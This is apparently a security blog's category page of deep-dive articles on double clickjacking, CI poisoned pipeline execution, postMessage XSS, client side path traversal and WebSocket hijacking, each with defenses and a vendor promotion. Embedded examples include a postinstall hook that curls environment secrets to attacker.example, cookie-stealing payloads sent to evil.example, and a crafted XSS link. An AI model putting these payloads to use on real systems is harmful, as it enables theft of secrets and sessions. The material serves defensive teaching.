Category: Deep Dives

Long form technical deep dives into one mechanism at a time: cloud, kernel, IoT, and privacy internals.

  • Double Clickjacking: The Clickjacking Revival That Beats Frame Defenses

    Double Clickjacking: The Clickjacking Revival That Beats Frame Defenses

    You see a normal looking page. It says “Please double click to confirm you are human,” with a single button in the middle. You double click. By the time your second click lands, the button under your cursor is no longer the one you saw. It is a real “Authorize” button on a site where you are already logged in, and you just granted an app full access to your account. That is double clickjacking, a technique published by Paulos Yibelo in 2024. It revives an old idea that browsers were supposed to have killed, and it does so by abusing the gap between the two clicks of a double click.

    The classic defense baseline

    Old school clickjacking loaded a target site inside an invisible iframe on the attacker’s page. The attacker made the real frame transparent and lined up its sensitive button with whatever the user thought they were clicking. The click passed through to the framed site. The user believed they pressed “Play video.” They actually pressed “Delete account” or “Send money.”

    Browsers and sites pushed back with three controls, and together they shut most of this down:

    • X-Frame-Options. A response header that tells the browser whether a page may be framed at all. Set it to DENY and no other site can put your page in an iframe.
    • frame-ancestors in Content Security Policy. The modern replacement. Content-Security-Policy: frame-ancestors 'none' does the same job with more control over who is allowed to frame you.
    • SameSite cookies. Marking a session cookie SameSite=Lax or Strict means the browser does not attach it to many cross site requests, so a framed action often runs logged out and fails.

    These work because they all assume the same thing: the attack needs the target page to be rendered inside a frame the attacker controls. Block the frame, block the attack.

    Why double clickjacking sidesteps every one of them

    Here is the move. Double clickjacking does not render the target inside a frame during the click. It puts the target in the top level window, the real tab, at the exact moment the second click happens. No frame is involved in the sensitive action, so frame busting headers have nothing to bite on.

    The frame defenses guard against being embedded. They say nothing about what your top window shows between the first and second click. That timing gap is the whole attack.

    X-Frame-Options and frame-ancestors only fire when a page is loaded as a sub frame. The target here loads as a normal navigation in a window the user already trusts. SameSite cookies do not help either, because the sensitive page is the user’s own first party session. The user is logged in, on the real domain, clicking a real button. Nothing looks cross site at all.

    The timing trick, step by step

    This is the conceptual flow, kept defensive so you can recognize it and design against it. The point is to see the shape, not to build it.

    • Step one. The user lands on an attacker page with a believable reason to double click. “Double click to verify,” a fake captcha, a “double click to close this ad.”
    • Step two. The first mousedown triggers JavaScript that opens a new top window pointed at the target’s sensitive page, an OAuth consent screen or an account action where the user is already authenticated.
    • Step three. In the same instant, the original page closes its own parent so the second click of the double click falls onto the now focused target window, right where its “Authorize” or “Confirm” button sits.
    • Step four. The second click lands on the real button. The action completes. The decoy is gone before the user can read what happened.

    The user only ever decided to double click a harmless prompt. The browser saw two ordinary clicks. The target site saw one legitimate click from a logged in user on its own page. Every layer behaved as designed, and the account still got compromised.

    A sketch of the bait

    The attacker side is mundane. The danger is in the window juggling that follows, not in clever markup. A stripped down decoy looks this innocent:

    <!-- attacker decoy page, simplified -->
    <div id="prompt">
      <p>Please double click to verify you are human</p>
      <button id="verify">Double click here</button>
    </div>
    
    <script>
      // On the FIRST press, open the real target as a top window.
      document.getElementById('verify')
        .addEventListener('mousedown', openTarget);
    
      function openTarget() {
        // Target is the user's own authenticated consent/settings page.
        window.open('https://app.example.com/oauth/authorize?...');
        // The decoy then gets out of the way so the SECOND click
        // of the same double click lands on the real button.
      }
    </script>

    Notice what is not here: no iframe wrapping the target, no transparent overlay on top of app.example.com. That absence is exactly why the frame headers never trigger.

    What gets targeted

    The attack pays off wherever a single click does something important on a page where the victim is already signed in:

    • OAuth consent screens. One “Authorize” click can hand a third party app read and write access to your email, files, or repos. This is the prize target, because the grant is durable and quiet.
    • Account changes. “Confirm new email,” “add this device,” “disable two factor,” “make this user an admin.” Anything gated by one confirmation button.
    • One click approvals. Payment confirmations, friend or follow grants, app install prompts, any flow that bragged about being a single click.

    This sits in the same family as CSRF, where the attacker gets the victim’s browser to perform an action they did not intend. The difference is the path. CSRF forges the request in the background. Double clickjacking borrows a real, deliberate click from the user. It also differs from CORS misconfiguration, where the leak comes from a server reading cross origin responses it should not. Double clickjacking never needs to read anything. It only needs the click to land.

    Defenses that actually fit this

    Keep the frame headers, they still stop classic clickjacking. But they do not cover this case, so the real defenses live in how your sensitive actions are designed.

    Make a single stray click not enough

    • Require a non trivial gesture. A sensitive action should not complete on one bare click. Ask for a typed confirmation, a checkbox the user must tick first, or a drag, something a hijacked second click cannot satisfy on its own.
    • Disable the button until the page settles. Yibelo’s proposed defense keeps the dangerous button inert until a short delay passes or a real interaction signal arrives, like the user moving the mouse or scrolling on that page. A button that wakes up only after genuine engagement cannot be hit by a click that arrived in the same millisecond the window opened.

    Refuse to trust a fresh, unattended click

    • Re authenticate for high impact actions. Prompt for the password, a passkey, or a code before granting OAuth scopes or changing security settings. A stolen click cannot type a password.
    • Avoid one click authorize. For consent flows, add a deliberate second step that is not a single button, such as reviewing the exact scopes and confirming them. Friction here is the feature.
    • Watch the window context. Yibelo also suggested browser side and page side signals, like noticing when a page was opened and immediately focused, and treating that as suspicious for sensitive actions. On your own pages you can check whether the window just received focus before honoring a critical click.

    Keep the old protections too

    None of this means dropping X-Frame-Options or frame-ancestors. Layer them. The frame headers close the original hole, and the gesture and re auth rules close the timing hole that double clickjacking opened. Each control covers a different assumption.

    The assumption that breaks

    Strip out the window tricks and one belief is left standing. Sites assume that a click on their own page, from their own logged in user, was meant for the thing under the cursor. Double clickjacking shows the second half of a double click can be redirected onto a button the user never saw. The fix is to stop treating any single click as proof of intent for actions that matter. This is the kind of flaw you find by asking what a flow assumes about its user’s intent, not by matching a known payload. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Read more on our about page.

    Frequently asked questions

    What is double clickjacking?

    Double clickjacking is a technique published by Paulos Yibelo in 2024 that tricks a user into double clicking a harmless looking prompt. Between the first and second click, the attacker page swaps the top level window to a sensitive page where the user is already logged in, like an OAuth consent screen, so the second click lands on a real Authorize or Confirm button. The user only meant to double click a decoy, but they approved a real action on their own account.

    Why do X-Frame-Options and frame-ancestors not stop it?

    Those defenses only fire when a page is loaded inside a frame the attacker controls. Double clickjacking never renders the target in a frame during the click. It opens the target in the real top level window, so there is no sub frame for X-Frame-Options or the Content Security Policy frame-ancestors directive to block. SameSite cookies do not help either, because the sensitive page is the user’s own first party session and nothing looks cross site.

    What does double clickjacking usually target?

    It targets any action that completes with a single click on a page where the victim is already signed in. The prize target is OAuth consent screens, where one Authorize click can grant a third party app durable access to email, files, or repositories. It also hits account changes like confirming a new email, disabling two factor, or promoting a user to admin, plus one click approvals such as payments and app installs.

    How do you defend against double clickjacking?

    Stop treating a single click as proof of intent for important actions. Require a non trivial gesture such as a typed confirmation or a ticked checkbox. Yibelo’s proposed defense is to keep sensitive buttons disabled until a short delay passes or a real interaction signal arrives, so a click that lands the instant a window opens does nothing. Re authenticate before granting OAuth scopes or changing security settings, avoid one click authorize, and keep the frame headers in place as a separate layer.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Security Headers Analyzer lets you check a full set of response headers in one pass. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • Poisoned Pipeline Execution: When Your CI Runs Attacker Code With Your Secrets

    Poisoned Pipeline Execution: When Your CI Runs Attacker Code With Your Secrets

    Your build pipeline is the most trusted machine you own. It holds deploy keys, signing certificates, cloud tokens, and the power to push code to production, and it runs whatever script the repo tells it to. Poisoned pipeline execution is what happens when an attacker gets their own code to run inside that machine. They do not need your password or a server exploit. They send a pull request, or edit a script the build already runs, and your CI hands them the secrets it was built to protect.

    Why a pipeline is worth so much

    A CI/CD runner is not a sandbox. It is a privileged service account with a shell. To do its job it usually holds some mix of the following in environment variables or mounted files:

    • Deploy credentials. Keys that push to production, write to a registry, or update infrastructure.
    • Signing keys. The thing that makes a release look official to everyone downstream.
    • Cloud tokens. Often a short lived OIDC token that the runner exchanges for an AWS, GCP, or Azure role with real permissions.
    • A repo token. On GitHub Actions this is GITHUB_TOKEN, which can read and write repo contents, open releases, and more depending on its scope.

    So the prize is not the build. It is everything the build can touch. If attacker code runs in that context, even for one step, it can read every secret in the environment and use every permission the job holds. One curl to an external host and the keys are gone.

    The attacker does not break into the pipeline. They get the pipeline to run their code, and the pipeline does the rest with its own credentials.

    The three flavors of poisoned pipeline execution

    This is a class of bug, not a single trick. It shows up in three shapes that share one root: untrusted input deciding what privileged code runs.

    Direct: edit the pipeline file itself

    The attacker opens a pull request that changes the workflow definition and adds a step to dump secrets or run their payload. If that change runs with real credentials before anyone reviews it, that is direct poisoning. Letting workflow files be edited and run by lower trust contributors is dangerous on its own.

    Indirect: poison a script the pipeline runs

    Most builds do not run only the workflow file. They run a Makefile, a test runner, a linter config, or npm lifecycle scripts. An npm postinstall hook runs automatically on npm install. If an attacker controls any of those files, they never touch the pipeline definition. They edit the script, the pipeline runs it as a normal build step, and their code executes with full job permissions. The workflow looks clean. The payload is one layer down.

    Public: an untrusted pull request triggers a privileged workflow

    This is the most common and the most painful. A public repo accepts pull requests from forks, and you want CI to run on them. The danger is in how. On GitHub Actions the pull_request trigger runs forked PR code without access to repo secrets, which is safe. The pull_request_target trigger runs with repo secrets, in the context of the base repo. It exists for jobs that label PRs or post comments. The trap is checking out the PR branch and running its code while those secrets are present.

    A concrete vulnerable workflow

    Here is a small GitHub Actions workflow that looks helpful and leaks everything. It uses pull_request_target, checks out the attacker’s branch, then runs the project’s build, which executes repo scripts.

    name: PR build
    on:
      pull_request_target:        # runs WITH base repo secrets
    
    jobs:
      build:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}  # attacker code
          - run: npm install       # runs attacker's postinstall script
          - run: npm run build
            env:
              DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

    An attacker opens a pull request from a fork that adds one line to package.json:

    {
      "scripts": {
        "postinstall": "curl -s https://attacker.example/x -d \"$(env | base64)\""
      }
    }

    The workflow checks out their branch, runs npm install, the postinstall hook fires, and the whole environment, including DEPLOY_TOKEN, gets posted to a server they own. They never needed to be a collaborator. They just sent a PR. This is the same supply chain shape as a dependency confusion attack: untrusted code ends up running in a context that trusts it.

    How to spot it in your own setup

    Look for the dangerous combination, not any single piece. The risk appears when all three are true in one job:

    • The trigger runs with access to secrets or a privileged token (for example pull_request_target).
    • The job checks out or runs untrusted code (a fork’s branch, or an editable repo script).
    • That code runs before a human approves it.

    Search your workflows for pull_request_target paired with any checkout of the PR head. Then check builds for repo scripts that run automatically: postinstall, prepare, Makefile targets, test configs. Any of those is where indirect poisoning hides.

    Defenses that actually close poisoned pipeline execution

    You do not need one big fix. You need a few small rules that each remove a precondition.

    • Do not combine pull_request_target with checkout of PR code and secrets. If you must use it, do not check out the fork’s code in the same job that holds secrets. Use plain pull_request for anything that runs untrusted code, since it has no secrets by default.
    • Require approval for fork workflows. Configure the repo so that workflows from first time or outside contributors only run after a maintainer clicks approve. That removes the automatic run that the public flavor depends on.
    • Give GITHUB_TOKEN the least privilege it needs. Set permissions: read-all at the top, then grant write only to the specific jobs that need it. A read only token is far less useful to an attacker.
    • Pin actions by full commit SHA, not a tag. Use uses: actions/checkout@<sha> instead of @v4. A tag can be moved to point at new code; a SHA cannot. This stops a compromised action from poisoning your build the way a moved tag would.
    • Isolate untrusted builds. Run PR builds on separate runners with no access to production credentials, no network egress to arbitrary hosts, and a clean environment. If a payload runs, it finds nothing worth stealing.
    • Separate plan from privileged apply. For infrastructure, let untrusted PRs run a read only plan with no write credentials. Keep the apply step on a protected branch that only runs after merge and review. The dangerous permission never meets untrusted code.

    These map to a single idea: untrusted code and real credentials should never share a job. Keep them apart and most poisoned pipeline execution simply has nowhere to land.

    The assumption that breaks

    Every pipeline makes a quiet assumption: that the code it runs was written by someone allowed to run it. A fork PR, an npm hook, a moved action tag all break that assumption while the secrets stay in place. The same logic shows up beyond CI, for example in Kubernetes service account token abuse, where a workload trusts a token it should never have reached. The bug is rarely in the tool. It is in who is trusted to decide what runs, and whether the credentials follow that decision. You find this kind of issue by asking what a system trusts and when, not by scanning for known bad strings. As an early signal we find encouraging, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about trust boundaries is exactly what an autonomous researcher that tests assumptions is built to do. Read more on our about page.

    Frequently asked questions

    What is poisoned pipeline execution?

    Poisoned pipeline execution is an attack where someone gets their own code to run inside a CI/CD pipeline that holds secrets and broad permissions. The attacker does not exploit a server or steal a password. They send a pull request, edit a script the build already runs, or change the pipeline file, and the pipeline executes it with its own deploy keys, signing keys, and cloud tokens. One step running attacker code can read every secret in the job environment and use every permission the job holds.

    What are the three types of poisoned pipeline execution?

    Direct, indirect, and public. Direct means the attacker edits the pipeline definition itself, for example a GitHub Actions workflow file, to add a malicious step. Indirect means they poison a script the pipeline runs but does not define inline, such as a Makefile target, a test config, or an npm postinstall hook. Public means an untrusted pull request from a fork triggers a privileged workflow, which is the most common case, often through the pull_request_target trigger running with repo secrets.

    Why is the GitHub Actions pull_request_target trigger dangerous?

    The pull_request trigger runs forked PR code without access to repo secrets, which is safe. The pull_request_target trigger runs with repo secrets in the context of the base repo. It exists for jobs that label PRs or post comments. The trap is checking out the PR branch and running its code while those secrets are present. An attacker opens a PR from a fork, the workflow checks out their branch and runs npm install or a build, and their code executes with full access to the secrets in that job.

    How do you prevent poisoned pipeline execution?

    Keep untrusted code and real credentials out of the same job. Do not combine pull_request_target with checkout of PR code and secrets, and use plain pull_request for anything that runs untrusted code. Require maintainer approval before fork workflows run. Give GITHUB_TOKEN least privilege, set read only by default and grant write per job. Pin actions by full commit SHA, not a movable tag. Isolate untrusted builds on runners with no production credentials and no arbitrary network egress. For infrastructure, separate a read only plan on PRs from a privileged apply that only runs after merge and review.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Secret Scanner lets you paste a file or diff and see what credentials it exposes. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • postMessage Vulnerabilities: When Cross Origin Messages Turn Into XSS

    postMessage Vulnerabilities: When Cross Origin Messages Turn Into XSS

    The browser keeps origins apart for a reason. A page from https://app.acme.com cannot read the cookies or DOM of a page from https://pay.acme.com. The window.postMessage API exists to poke a small, controlled hole in that wall so windows or iframes from different origins can pass messages. Used carefully, it is fine. Used carelessly, it opens a class of postMessage vulnerabilities where any website can talk to your page, feed it data you trust, and turn that data into script execution or a privileged action.

    How postMessage actually works

    There are two sides. The sender calls postMessage on a reference to another window. The receiver listens for a message event. Here is the normal flow between a parent page and an iframe it embeds:

    // Sender side, running in the parent page
    const frame = document.getElementById('widget').contentWindow;
    frame.postMessage({ type: 'setTheme', value: 'dark' }, 'https://widget.acme.com');
    
    // Receiver side, running inside the iframe
    window.addEventListener('message', (event) => {
      console.log('got', event.data, 'from', event.origin);
    });

    The event the receiver gets has three fields that matter. event.data is the payload. event.origin is the origin of the window that sent the message, set by the browser and not forgeable by the sender. event.source is a reference back to the sending window. Those last two exist so the receiver can decide whether to trust the message. The security model rests on the receiver actually using them.

    The two classic postMessage vulnerabilities

    Almost every real bug here comes from one of two mistakes, one on each side of the channel.

    Mistake one: the receiver does not check event.origin

    A message listener fires for messages from any origin. If you do not check event.origin, then any web page that can get a handle to your window can send it messages, and your listener will process them as if they came from a page you trust. Getting that handle is easy. If your page can be framed, the framing page already has a reference to it. If your page opens a popup, that popup gets window.opener.

    Here is a listener that trusts everything and then does the worst possible thing with it:

    // Vulnerable receiver: no origin check, writes straight to innerHTML
    window.addEventListener('message', (event) => {
      document.getElementById('status').innerHTML = event.data;
    });

    An attacker frames your page, or opens it in a popup, and sends:

    target.postMessage(
      '<img src=x onerror="fetch(\'https://evil.example/c?\'+document.cookie)">',
      '*'
    );

    Your page takes the string, drops it into innerHTML, the onerror handler runs, and the attacker has script execution in your origin. That is DOM based cross site scripting delivered over a message channel. The root cause is the same as any DOM XSS: untrusted input reaching a dangerous sink. If this pattern is new to you, the mechanics are laid out in our explainer on DOM based XSS. The only new wrinkle is that the source of the input is a cross origin message instead of the URL.

    A message listener with no origin check is an open door with your origin’s name on it. The browser already told you who knocked. The bug is that you never looked.

    Mistake two: the sender uses “*” as targetOrigin

    The second argument to postMessage is targetOrigin. It tells the browser: only deliver this message if the receiving window’s origin matches. Passing "*" means deliver it to whatever is in that window, no matter who that is.

    That is a leak in the other direction. Say your page sends a session token to a child frame:

    // Leaky sender: ships a token to whoever happens to be in the frame
    childFrame.postMessage({ token: userSessionToken }, '*');

    If an attacker can influence what loads in that frame, by navigating it to their own page through an open redirect or a swapped src, your token is delivered straight to them. You meant to talk to https://widget.acme.com. You told the browser you did not care who was listening. Set the exact origin instead:

    childFrame.postMessage({ token: userSessionToken }, 'https://widget.acme.com');

    How a weak listener chains into worse

    The innerHTML sink is the headline case, but the receiver does not have to write HTML to be in trouble. It depends on where event.data ends up.

    • Into innerHTML, document.write, or insertAdjacentHTML: DOM XSS, as above.
    • Into eval, Function, or setTimeout with a string: direct code execution.
    • Into location, location.href, or window.open: open redirect. A message like { type: 'redirect', url: 'https://evil.example' } handled with location = event.data.url sends users wherever the attacker wants.
    • Into a privileged action: if a message triggers “transfer funds” or “change email” with no origin check, any site that frames you can fire that action as the logged in user. That is the same shape as a cross site request forgery, over postMessage instead of a form submit.

    People sometimes assume that a strict CORS policy protects them here. It does not. postMessage is a separate channel that ignores CORS entirely, so a backend locked down against cross origin reads can still feed a vulnerable front end listener. CORS has its own failure modes, covered in our writeup on CORS misconfiguration, but it is not the control that stops a bad message listener. The control is in the listener.

    How to write a safe postMessage listener

    The defenses are short and you want all of them, because each one closes a different gap.

    • Check event.origin against an allowlist. Compare the full origin string exactly. Do not use indexOf or endsWith, because https://acme.com.evil.example would pass a sloppy endsWith('acme.com') check. Match the whole value.
    • Validate the message shape. Confirm the data is the structure you expect before using any field. A known type, expected keys, correct types. Reject anything that does not fit.
    • Never send message data to a dangerous sink. Use textContent instead of innerHTML. Never pass message data to eval or to location without validating it against an allowlist of paths.
    • Set an explicit targetOrigin when sending. Always pass the exact origin string, never "*", for anything that is not strictly public.
    • Verify event.source when it matters. If a message should only come from a specific frame you control, check that event.source is the window reference you expect, not just that the origin matches.

    Here is the same listener from before, written defensively:

    const ALLOWED = 'https://widget.acme.com';
    
    window.addEventListener('message', (event) => {
      if (event.origin !== ALLOWED) return;            // exact origin match
      const msg = event.data;
      if (!msg || msg.type !== 'setStatus') return;    // validate shape
      if (typeof msg.text !== 'string') return;        // validate types
      document.getElementById('status').textContent = msg.text;  // safe sink
    });

    Three checks turn an open door into a narrow one. The message has to come from the right origin, look like the one message this handler accepts, and even then it only reaches textContent, which cannot execute script.

    Why this bug hides so well

    postMessage vulnerabilities rarely show up in normal testing because the happy path looks identical to the dangerous one. The widget loads, sends its message, the page updates, everything works. The missing event.origin check is invisible until someone different starts sending messages. A scanner that fires known payloads at form fields will not think to set up a hostile framing page and post a crafted message into your listener. Finding this means asking what the listener trusts, and testing whether a message from the wrong origin gets processed anyway.

    That is the kind of assumption testing that separates real review from pattern matching. As an early and encouraging signal, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about who is allowed to send a message, and what the receiver does with it, is exactly the work an autonomous researcher that tests assumptions is built for. Read more on our about page.

    Frequently asked questions

    What are postMessage vulnerabilities?

    They are bugs in how a page uses the window.postMessage API for cross origin messaging. The two classic mistakes are a receiver that never checks event.origin, so any website can send it messages it will trust, and a sender that uses "*" as the targetOrigin, so data is delivered to whatever happens to be in the target window. Either one can leak data or, when the message data reaches a dangerous sink, lead to code execution.

    How does a postMessage bug become DOM XSS?

    A message listener that does not validate event.origin will process messages from any site. If that listener then writes event.data into a sink like innerHTML, eval, or document.write, an attacker can send a string such as <img src=x onerror=...> that runs script in your origin. The untrusted message data reaching a dangerous sink is the same root cause as any DOM based XSS, just delivered over the message channel instead of the URL.

    Does a strict CORS policy protect against postMessage attacks?

    No. postMessage is a separate browser channel that ignores CORS completely. A backend that blocks cross origin reads can still feed a front end message listener that has no origin check. CORS controls cross origin HTTP reads, not who can post a message into your window. The defense for postMessage lives in the listener: check event.origin against an allowlist, validate the message shape, and keep the data out of dangerous sinks.

    How do you fix postMessage vulnerabilities?

    Check event.origin against an exact allowlist, never with endsWith or substring matches. Validate the message shape and types before using any field. Never pass message data to innerHTML, eval, or location; prefer textContent. When sending, set an explicit targetOrigin instead of "*". And verify event.source is the window you expect when a message should only come from a specific frame.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • Client Side Path Traversal: When the Browser Sends Your Fetch Somewhere Else

    Client Side Path Traversal: When the Browser Sends Your Fetch Somewhere Else

    Most people learn path traversal as a server bug: you send ../../etc/passwd to a backend and it reads a file it should not. Client side path traversal moves that same trick into the browser. A front end builds an API path or a fetch URL out of input it does not control, and a few ../ sequences let an attacker point that request at a different endpoint than the developer intended. On its own it often looks harmless. The damage shows up when it chains.

    What client side path traversal actually is

    The setup is plain. A single page app takes a value, glues it onto a URL, and calls fetch. The value can be a path segment, an ID from the URL, or a field reflected from the server. If it contains ../, the browser normalizes the URL before the request leaves, and the final path is not the one the code wrote.

    Here is the kind of code that does it:

    // Front end builds the path from an id it does not validate
    const id = getIdFromUrl();          // attacker controls this
    fetch('/api/users/' + id + '/profile')
      .then(r => r.json())
      .then(render);

    When id is a normal value like 42, the request goes to /api/users/42/profile. That is expected. Now set id to ../../admin/delete. The string the code builds is:

    /api/users/../../admin/delete/profile

    The browser does not send that literally. It resolves the ../ segments the same way it resolves any relative URL, walking up the path. The request that actually leaves the browser is:

    GET /admin/delete/profile

    The developer wrote a read of a user profile. The browser sent a call to an admin endpoint. Nothing looks unusual on the server, because the request arrives as a normal same origin call from the real app, with the real session cookie attached.

    Why the browser turns it into a different path

    This is not a quirk of fetch. It is how URL resolution works. A browser treats . and .. as path operations, not as text: . means the current directory, .. means go up one. When a URL contains those, the browser collapses them before the network call. The URL constructor does the same:

    new URL('/api/users/../../admin/delete/profile', location.origin).pathname
    // => "/admin/delete/profile"

    So the bug is a mismatch. The code thinks it is pasting a value into a fixed slot. The browser reads a path full of navigation. The attacker controls the value, so the attacker controls where it lands.

    How client side path traversal differs from the server side bug

    The shapes rhyme but the location and the impact differ. With classic server side path traversal, the attacker reaches the file system through a backend that opens a path. If that is the bug you are chasing, start with what is path traversal, which covers the server case in full.

    • Where it runs. Server side path traversal happens in backend code that opens files or paths. Client side path traversal happens in the browser, in JavaScript that builds a request URL.
    • What it reaches. The server bug usually reaches files on disk. The client bug reaches other HTTP endpoints of the same app, using the victim’s own session.
    • Who carries the request. In the client case the victim’s browser sends the request, with cookies, same origin, so server side origin checks see a trusted caller.
    • Why it matters. A standalone redirected fetch may just return data the user could already see. The value is that it puts an attacker chosen endpoint inside a trusted request, which is the start of a chain.

    The browser does exactly what it was told. It resolves .. in a path the same way every time. The flaw is that the developer never meant that string to be a path at all.

    Why it is dangerous: the chaining angle

    Client side path traversal is rarely the whole attack. It is the primitive that lets a second bug fire from a trusted spot. Three common chains:

    Reaching a state changing endpoint (CSPT to CSRF)

    Say the app skips CSRF protection on same origin calls because it assumes the front end only ever calls safe URLs. An attacker who controls a path segment can steer a fetch to a POST or DELETE route. A harmless GET that the app fires automatically becomes a request against /api/account/delete or /api/roles/add, sent by the victim, with the victim’s cookies. That is CSRF reached through a path the server trusted.

    Turning a response into script (CSPT to XSS)

    If the app takes the response of that fetch and writes it into the page, an attacker who can redirect the fetch to an endpoint that reflects input, or to an endpoint they control, can feed back markup or script. The front end then renders attacker chosen content. That is the bridge from a redirected request to DOM based XSS, where the sink is the app writing an untrusted response into the DOM.

    Fetching attacker controlled data

    If traversal lets the path escape into a route that proxies or echoes external data, the app ends up trusting bytes the attacker picked, and that response drives whatever the front end does next.

    The pattern is the same across all three. The traversal does not break the server by itself. It quietly changes the target of a request the app already trusts, and the real payload rides the second bug.

    A worked example

    Picture a notes app called Acme Notes. The front end loads a note by ID from the URL fragment:

    // URL: https://acme.example/#/notes/42
    const noteId = location.hash.split('/').pop();   // "42"
    fetch('/api/notes/' + noteId)
      .then(r => r.text())
      .then(html => { document.querySelector('#note').innerHTML = html; });

    An attacker sends a victim a link with a crafted fragment:

    https://acme.example/#/notes/..%2f..%2fsearch%3fq%3d<img src=x onerror=alert(1)>

    The fragment decodes, the path collapses, and the fetch hits the search endpoint, which reflects the query back. The app writes that response straight into innerHTML. The redirected fetch supplied the wrong endpoint; the innerHTML sink supplied the XSS. Two small mistakes, one real bug.

    Defenses that actually close it

    The root cause is building a path out of raw input. Fix that and the chains lose their entry point.

    • Validate every path segment. If an ID should be a number, check that it is digits only before it touches a URL. Reject anything with ., /, or encoded forms like %2e and %2f.
    • Allowlist IDs where you can. If the value should be one of a known set, compare against that set instead of trusting the string.
    • Encode the segment. Run untrusted values through encodeURIComponent so a / becomes %2F and a . stays literal, which stops the browser from reading them as path operations.
    • Do not build paths from raw input. Prefer a safe URL builder or a fixed route with the value passed as a query parameter or in the body, not splice into the path. new URLSearchParams keeps values out of the path entirely.
    • Defend the server too. Keep CSRF protection on state changing routes and never assume a same origin request is safe. Encode any response before it reaches a DOM sink so a redirected fetch cannot become script.

    Here is the same Acme Notes call, fixed:

    const noteId = location.hash.split('/').pop();
    if (!/^[0-9]+$/.test(noteId)) throw new Error('bad id');
    fetch('/api/notes/' + encodeURIComponent(noteId))
      .then(r => r.text())
      .then(text => { document.querySelector('#note').textContent = text; });

    The ID is checked, the value is encoded, and the response goes to textContent instead of innerHTML. The traversal cannot form, and even if a stray response slipped through, it would not run as script.

    The assumption that breaks

    Client side path traversal exists because a front end assumes the value it pastes into a URL is data, while the browser reads it as a path. That gap is invisible to a scanner looking for known payloads, because the bug only matters once you understand what the app meant the request to do and then ask what else that request could reach. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find. As an early, encouraging signal: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about where a request really goes, not matching strings, is the work. Read more on our about page.

    Frequently asked questions

    What is client side path traversal?

    It is a browser bug where a front end builds an API path or fetch URL from input it does not control, and ../ sequences let an attacker redirect the request to a different endpoint than intended. For example, code that calls fetch('/api/users/' + id + '/profile') with id set to ../../admin/delete ends up requesting /admin/delete/profile, because the browser normalizes the path before sending it. It lives in JavaScript in the browser, not in backend file handling.

    How is it different from server side path traversal?

    Server side path traversal happens in backend code that opens a file or path, and it usually reaches files on disk. Client side path traversal happens in the browser, in code that builds a request URL, and it reaches other HTTP endpoints of the same app. The client version uses the victim’s own browser and session cookies, so the redirected request arrives looking like a trusted same origin call.

    Why is client side path traversal dangerous if it is low impact alone?

    On its own a redirected fetch may just return data the user could already see. It matters because it chains. It can reach a state changing endpoint and become CSRF, it can feed an attacker chosen response into a DOM sink and become DOM based XSS, or it can pull in attacker controlled data the app then trusts. The traversal supplies the wrong target, and the second bug supplies the payload.

    How do you prevent client side path traversal?

    Validate every path segment so an ID is digits only and reject ., /, and encoded forms like %2e and %2f. Allowlist IDs when the set is known. Run untrusted values through encodeURIComponent so a slash cannot act as a path separator. Avoid splicing raw input into a path at all; pass it as a query parameter or in the body. Keep CSRF protection on the server and encode responses before they reach a DOM sink.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • Cross Site WebSocket Hijacking: The CSRF of WebSockets

    Cross Site WebSocket Hijacking: The CSRF of WebSockets

    You log in to a chat app in one tab. In another tab you open a random page someone sent you. That page quietly opens a WebSocket back to your chat app, your session cookie rides along, and now the attacker’s page is reading your messages in real time. This is cross site WebSocket hijacking, and it works because the WebSocket handshake is an HTTP request that carries your cookies but is not stopped by the Same Origin Policy and usually has no CSRF token. The login was yours. The socket is theirs.

    How a WebSocket connection actually starts

    A WebSocket does not begin as a raw socket. It begins as a normal HTTP GET request that asks the server to switch protocols. The browser sends an upgrade request, the server agrees, and from that point the same TCP connection carries WebSocket frames instead of HTTP. Here is what the handshake looks like on the wire:

    GET /chat/socket HTTP/1.1
    Host: app.example.com
    Upgrade: websocket
    Connection: Upgrade
    Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
    Sec-WebSocket-Version: 13
    Origin: https://app.example.com
    Cookie: session=eyJ1c2VyIjoiYWxpY2UifQ

    The two lines that matter are Origin and Cookie. The Origin header says which site asked for the connection. The Cookie header is your session, attached by the browser the same way it attaches cookies to any request to that host. The server reads the cookie, sees a logged in user, and upgrades the connection. If it never checks Origin, it has no idea the request came from a page it does not own.

    Why cross site WebSocket hijacking gets past the Same Origin Policy

    The Same Origin Policy usually stops one site from reading another site’s data. When a page makes a fetch to a different origin, the browser may send the request, but it will not let the calling page read the response unless CORS headers allow it. That read block protects most cross origin data. If you have seen CORS misconfiguration, you know how careful sites have to be about which origins can read responses.

    WebSockets do not play by those rules. The WebSocket constructor is not subject to the Same Origin Policy the way fetch is, so any page can open a WebSocket to any host:

    // Runs on https://evil.example, talks to the victim's app
    const ws = new WebSocket("wss://app.example.com/chat/socket");
    
    ws.onmessage = (event) => {
      // The attacker's page reads every message the app sends
      fetch("https://evil.example/collect", {
        method: "POST",
